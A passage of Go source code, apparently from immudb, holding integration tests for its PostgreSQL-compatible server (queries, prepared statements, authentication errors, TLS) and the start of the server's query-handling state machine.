id)", table)) require.NoError(t, err) _, err = db.Exec(fmt.Sprintf("UPSERT INTO %s (id, amount, title, isPresent) VALUES (1, 200, 'title 1', true)", table)) require.NoError(t, err) var id int64 var amount int64 var title string var isPresent bool err = db.QueryRow(fmt.Sprintf("SELECT id, amount, title, isPresent FROM %s", table)).Scan(&id, &amount, &title, &isPresent) require.True(t, isPresent) require.NoError(t, err) } func TestPgsqlServer_SimpleQueryExecError(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) _, err = db.Exec("ILLEGAL STATEMENT") require.ErrorContains(t, err, "syntax error: unexpected IDENTIFIER at position 7") } func TestPgsqlServer_SimpleQueryQueryError(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() require.ErrorContains(t, err, isql.ErrTableDoesNotExist.Error()) } func TestPgsqlServer_SimpleQueryQueryMissingDatabase(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() require.ErrorContains(t, err, errors.ErrDBNotprovided.Error()) } func TestPgsqlServer_SimpleQueryQueryDatabaseNotExists(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=notexists password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() require.ErrorContains(t, err, errors.ErrDBNotExists.Error()) } func TestPgsqlServer_SimpleQueryQueryMissingUsername(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() require.ErrorContains(t, err, errors.ErrInvalidUsernameOrPassword.Error()) } func TestPgsqlServer_SimpleQueryQueryMissingPassword(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() require.ErrorContains(t, err, errors.ErrPwNotprovided.Error()) } func TestPgsqlServer_SimpleQueryQueryClosedConnError(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() require.Error(t, err) } func TestPgsqlServer_SimpleQueryTerminate(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() result, err := db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) _, err = db.Exec(fmt.Sprintf("UPSERT INTO %s (id, amount, title) VALUES (1, 200, 'title 1')", table)) require.NoError(t, err) err = db.Close() require.NoError(t, err) var id int64 var amount int64 var title string err = db.QueryRow(fmt.Sprintf("SELECT id, amount, title FROM %s", table)).Scan(&id, &amount, &title) require.ErrorContains(t, err, "sql: database is closed") } func TestPgsqlServer_SimpleQueryQueryEmptyQueryMessage(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() result, err := db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) _, err = db.Exec(fmt.Sprintf("UPSERT INTO %s (id, amount, title) VALUES (1, 200, 'title 1')", table)) require.NoError(t, err) var id int64 var amount int64 var title string err = db.QueryRow(fmt.Sprintf("SELECT id, amount, title FROM %s WHERE id=2", table)).Scan(&id, &amount, &title) require.ErrorIs(t, err, sql.ErrNoRows) } func TestPgsqlServer_SimpleQueryQueryCreateOrUseDatabaseNotSupported(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) _, err = db.Exec("CREATE DATABASE db") require.NoError(t, err) _, err = db.Exec("USE DATABASE db") require.ErrorContains(t, err, errors.ErrUseDBStatementNotSupported.Error()) } func TestPgsqlServer_SimpleQueryQueryExecError(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() result, err := db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) _, err = db.Exec(fmt.Sprintf("UPSERT INTO %s (id, title) VALUES (1, 200, 'title 1')", table)) require.ErrorContains(t, err, isql.ErrInvalidNumberOfValues.Error()) } func TestPgsqlServer_SimpleQueryQuerySSLConn(t *testing.T) { td := t.TempDir() pemServerCA, err := os.ReadFile("cert/ca-cert.pem") require.NoError(t, err) serverCert, err := tls.LoadX509KeyPair("cert/server-cert.pem", "cert/server-key.pem") require.NoError(t, err) certPool := x509.NewCertPool() if !certPool.AppendCertsFromPEM(pemServerCA) { panic("failed to add client CA's certificate") } cfg := &tls.Config{ RootCAs: certPool, Certificates: []tls.Certificate{serverCert}, } options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false). WithTLS(cfg) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err = srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=require user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() _, err = db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) require.NoError(t, err) } func TestPgsqlServer_SSLNotEnabled(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=require user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() _, err = db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) require.ErrorIs(t, err, pq.ErrSSLNotSupported) } func TestPgsqlServer_VersionStatement(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) var version string err = db.QueryRow("SELECT version()").Scan(&version) require.NoError(t, err) require.Equal(t, pgmeta.PgsqlServerVersionMessage, version) _, err = db.Exec("DEALLOCATE \"_PLAN0x7fb2c0822800\"") require.NoError(t, err) } func TestPgsqlServerSetStatement(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) _, err = db.Query("SET test=val") require.NoError(t, err) } func TestPgsqlServer_SimpleQueryNilValues(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() result, err := db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) _, err = db.Exec(fmt.Sprintf("UPSERT INTO %s (id) VALUES (1)", table)) require.NoError(t, err) var id int64 var amount sql.NullInt64 var title sql.NullString err = db.QueryRow(fmt.Sprintf("SELECT id, amount, title FROM %s where title = null", table)).Scan(&id, &amount, &title) require.NoError(t, err) require.False(t, title.Valid) require.False(t, amount.Valid) } func getRandomTableName() string { rand.Seed(time.Now().UnixNano()) r := rand.Intn(100000) return fmt.Sprintf("table%d", r) } func TestPgsqlServer_ExtendedQueryPG(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() result, err := db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) _, err = db.Exec(fmt.Sprintf("INSERT INTO %s (id, amount, title, total) VALUES (1, 1111, 'title 1', 1111)", table)) require.NoError(t, err) var id int64 var amount int64 var title string err = db.QueryRow(fmt.Sprintf("SELECT id, amount, title FROM %s where amount=? and total=? and title=?", table), 1111, 1111, "title 1").Scan(&id, &amount, &title) require.NoError(t, err) } func TestPgsqlServer_ExtendedQueryPGxNamedStatements(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) //db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=5432 sslmode=disable user=postgres dbname=postgres password=postgres")) require.NoError(t, err) defer db.Close(context.Background()) table := getRandomTableName() result, err := db.Exec(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title) VALUES (9999, 1111, 6666, 'title 1')", table)) require.NoError(t, err) var id int64 var amount int64 var title string err = db.QueryRow(context.Background(), fmt.Sprintf("SELECT id, amount, title FROM %s where total=? and amount=? and title=?", table), 6666, 1111, "title 1").Scan(&id, &amount, &title) require.NoError(t, err) } func TestPgsqlServer_ExtendedQueryPGxMultiFieldsPreparedStatements(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) defer db.Close(context.Background()) table := getRandomTableName() result, err := db.Exec(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) binaryContent := []byte("my blob content1") blobContent := hex.EncodeToString(binaryContent) _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (1, 1000, 6000, 'title 1', x'%s', true)", table, blobContent)) require.NoError(t, err) blobContent2 := hex.EncodeToString([]byte("my blob content2")) _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (2, 2000, 3000, 'title 2', x'%s', false)", table, blobContent2)) require.NoError(t, err) var id int64 var amount int64 var title string var isPresent bool var content []byte err = db.QueryRow(context.Background(), fmt.Sprintf("SELECT id, amount, title, content, isPresent FROM %s where isPresent=? and id=? and amount=? and total=? and title=? and content=?", table), true, 1, 1000, 6000, "title 1", blobContent).Scan(&id, &amount, &title, &content, &isPresent) require.NoError(t, err) require.Equal(t, int64(1), id) require.Equal(t, int64(1000), amount) require.Equal(t, "title 1", title) require.Equal(t, binaryContent, content) require.Equal(t, true, isPresent) } func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedStatements(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() result, err := db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) binaryContent := []byte("my blob content1") blobContent := hex.EncodeToString(binaryContent) _, err = db.Exec(fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (1, 1000, 6000, 'title 1', x'%s', true)", table, blobContent)) require.NoError(t, err) blobContent2 := hex.EncodeToString([]byte("my blob content2")) _, err = db.Exec(fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (2, 2000, 3000, 'title 2', x'%s', false)", table, blobContent2)) require.NoError(t, err) var id int64 var amount int64 var title string var isPresent bool var content []byte err = db.QueryRow(fmt.Sprintf("SELECT id, amount, title, content, isPresent FROM %s where isPresent=? and id=? and amount=? and total=? and title=?", table), true, 1, 1000, 6000, "title 1").Scan(&id, &amount, &title, &content, &isPresent) require.NoError(t, err) require.Equal(t, int64(1), id) require.Equal(t, int64(1000), amount) require.Equal(t, "title 1", title) require.Equal(t, binaryContent, content) require.Equal(t, true, isPresent) } func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedInsert(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() result, err := db.Exec(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) binaryContent := []byte("my blob content1") blobContent := hex.EncodeToString(binaryContent) _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), 1, 1000, 6000, "title 1", blobContent, true) require.NoError(t, err) blobContent2 := hex.EncodeToString([]byte("my blob content2")) _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), 2, 2000, 12000, "title 2", blobContent2, true) require.NoError(t, err) var id int64 var amount int64 var title string var isPresent bool var content []byte err = db.QueryRow(context.Background(), fmt.Sprintf("SELECT id, amount, title, content, isPresent FROM %s where isPresent=? and id=? and amount=? and total=? and title=?", table), true, 1, 1000, 6000, "title 1").Scan(&id, &amount, &title, &content, &isPresent) require.NoError(t, err) require.Equal(t, int64(1), id) require.Equal(t, int64(1000), amount) require.Equal(t, "title 1", title) require.Equal(t, binaryContent, content) require.Equal(t, true, isPresent) } func TestPgsqlServer_ExtendedQueryPGxMultiInsertStatements(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) //db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=5432 sslmode=disable user=postgres dbname=postgres password=postgres")) require.NoError(t, err) defer db.Close(context.Background()) table := getRandomTableName() result, err := db.Exec(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title) VALUES (1, 11, 33, 'title 1'); INSERT INTO %s (id, amount, total, title) VALUES (2, 22, 66, 'title 2');", table, table)) require.NoError(t, err) var id int64 var amount int64 var title string err = db.QueryRow(context.Background(), fmt.Sprintf("SELECT id, amount, title FROM %s where total=? and amount=? and title=?", table), 33, 11, "title 1").Scan(&id, &amount, &title) require.NoError(t, err) } func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedMultiInsertError(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() defer os.Remove(".state-") db, err := pgx.Connect(context.Background(), fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", srv.PgsqlSrv.GetPort())) require.NoError(t, err) table := getRandomTableName() result, err := db.Exec(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) binaryContent := []byte("my blob content1") blobContent2 := hex.EncodeToString([]byte("my blob content2")) blobContent := hex.EncodeToString(binaryContent) _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?); INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table, table), 1, 1000, 6000, "title 1", blobContent, true, 2, 2000, 12000, "title 2", blobContent2, true) require.ErrorContains(t, err, errors.ErrMaxStmtNumberExceeded.Error()) } func TestPgsqlServer_InvalidTraffic(t *testing.T) { td := t.TempDir() options := server.DefaultOptions(). WithDir(td). WithPort(0). WithPgsqlServer(true). WithPgsqlServerPort(0). WithMetricsServer(false). WithWebServer(false) srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() _, err = http.Get(fmt.Sprintf("http://localhost:%d", srv.PgsqlSrv.GetPort())) require.Error(t, err) } ================================================ FILE: pkg/pgsql/server/query_machine.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "errors" "fmt" "io" "math" "sort" "strings" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" pserr "github.com/codenotary/immudb/pkg/pgsql/errors" bm "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" ) const ( helpPrefix = "select relname, nspname, relkind from pg_catalog.pg_class c, pg_catalog.pg_namespace n where relkind in ('r', 'v', 'm', 'f', 'p') and nspname not in ('pg_catalog', 'information_schema', 'pg_toast', 'pg_temp_1') and n.oid = relnamespace order by nspname, relname" tableHelpPrefix = "select n.nspname, c.relname, a.attname, a.atttypid, t.typname, a.attnum, a.attlen, a.atttypmod, a.attnotnull, c.relhasrules, c.relkind, c.oid, pg_get_expr(d.adbin, d.adrelid), case t.typtype when 'd' then t.typbasetype else 0 end, t.typtypmod, c.relhasoids, '', c.relhassubclass from (((pg_catalog.pg_class c inner join pg_catalog.pg_namespace n on n.oid = c.relnamespace and c.relname like '" maxRowsPerMessage = 1024 ) func (s *session) QueryMachine() error { var waitForSync = false _, err := s.writeMessage(bm.ReadyForQuery()) if err != nil { return err } for { msg, extQueryMode, err := s.nextMessage() if err != nil { if errors.Is(err, io.EOF) { s.log.Warningf("connection is closed") return nil } s.HandleError(err) continue } // When an error is detected while processing any extended-query message, the backend issues ErrorResponse, // then reads and discards messages until a Sync is reached, then issues ReadyForQuery and returns to normal // message processing. (But note that no skipping occurs if an error is detected while processing Sync — this // ensures that there is one and only one ReadyForQuery sent for each Sync.) if waitForSync && extQueryMode { if _, ok := msg.(fm.SyncMsg); !ok { continue } } switch v := msg.(type) { case fm.TerminateMsg: return s.mr.CloseConnection() case fm.QueryMsg: statements := v.GetStatements() if statements == helpPrefix { statements = "show tables" } if strings.HasPrefix(statements, tableHelpPrefix) { tableName := strings.Split(strings.TrimPrefix(statements, tableHelpPrefix), "'")[0] statements = fmt.Sprintf("select column_name as tq, column_name as tow, column_name as tn, column_name as COLUMN_NAME, type_name as DATA_TYPE, type_name as TYPE_NAME, type_name as p, type_name as l, type_name as s, type_name as r, is_nullable as NULLABLE, column_name as rk, column_name as cd, type_name as SQL_DATA_TYPE, type_name as sts, column_name as coll, type_name as orp, is_nullable as IS_NULLABLE, type_name as dz, type_name as ft, type_name as iau, type_name as pn, column_name as toi, column_name as btd, column_name as tmo, column_name as tin from table(%s)", tableName) } err := s.fetchAndWriteResults(statements, nil, nil, extQueryMode) if err != nil { waitForSync = extQueryMode s.HandleError(err) } if _, err = s.writeMessage(bm.ReadyForQuery()); err != nil { waitForSync = extQueryMode } case fm.ParseMsg: _, ok := s.statements[v.DestPreparedStatementName] // unnamed prepared statement overrides previous if ok && v.DestPreparedStatementName != "" { waitForSync = extQueryMode s.HandleError(fmt.Errorf("statement '%s' already present", v.DestPreparedStatementName)) continue } var paramCols []sql.ColDescriptor var resCols []sql.ColDescriptor var stmt sql.SQLStmt if !s.isInBlackList(v.Statements) { stmts, err := sql.ParseSQL(strings.NewReader(v.Statements)) if err != nil { waitForSync = extQueryMode s.HandleError(err) continue } // Note: as stated in the pgsql spec, the query string contained in a Parse message cannot include more than one SQL statement; // else a syntax error is reported. This restriction does not exist in the simple-query protocol, but it does exist // in the extended protocol, because allowing prepared statements or portals to contain multiple commands would // complicate the protocol unduly. if len(stmts) > 1 { waitForSync = extQueryMode s.HandleError(pserr.ErrMaxStmtNumberExceeded) continue } if paramCols, resCols, err = s.inferParamAndResultCols(stmts[0]); err != nil { waitForSync = extQueryMode s.HandleError(err) continue } } _, err = s.writeMessage(bm.ParseComplete()) if err != nil { waitForSync = extQueryMode continue } newStatement := &statement{ // if no name is provided empty string marks the unnamed prepared statement Name: v.DestPreparedStatementName, Params: paramCols, SQLStatement: v.Statements, PreparedStmt: stmt, Results: resCols, } 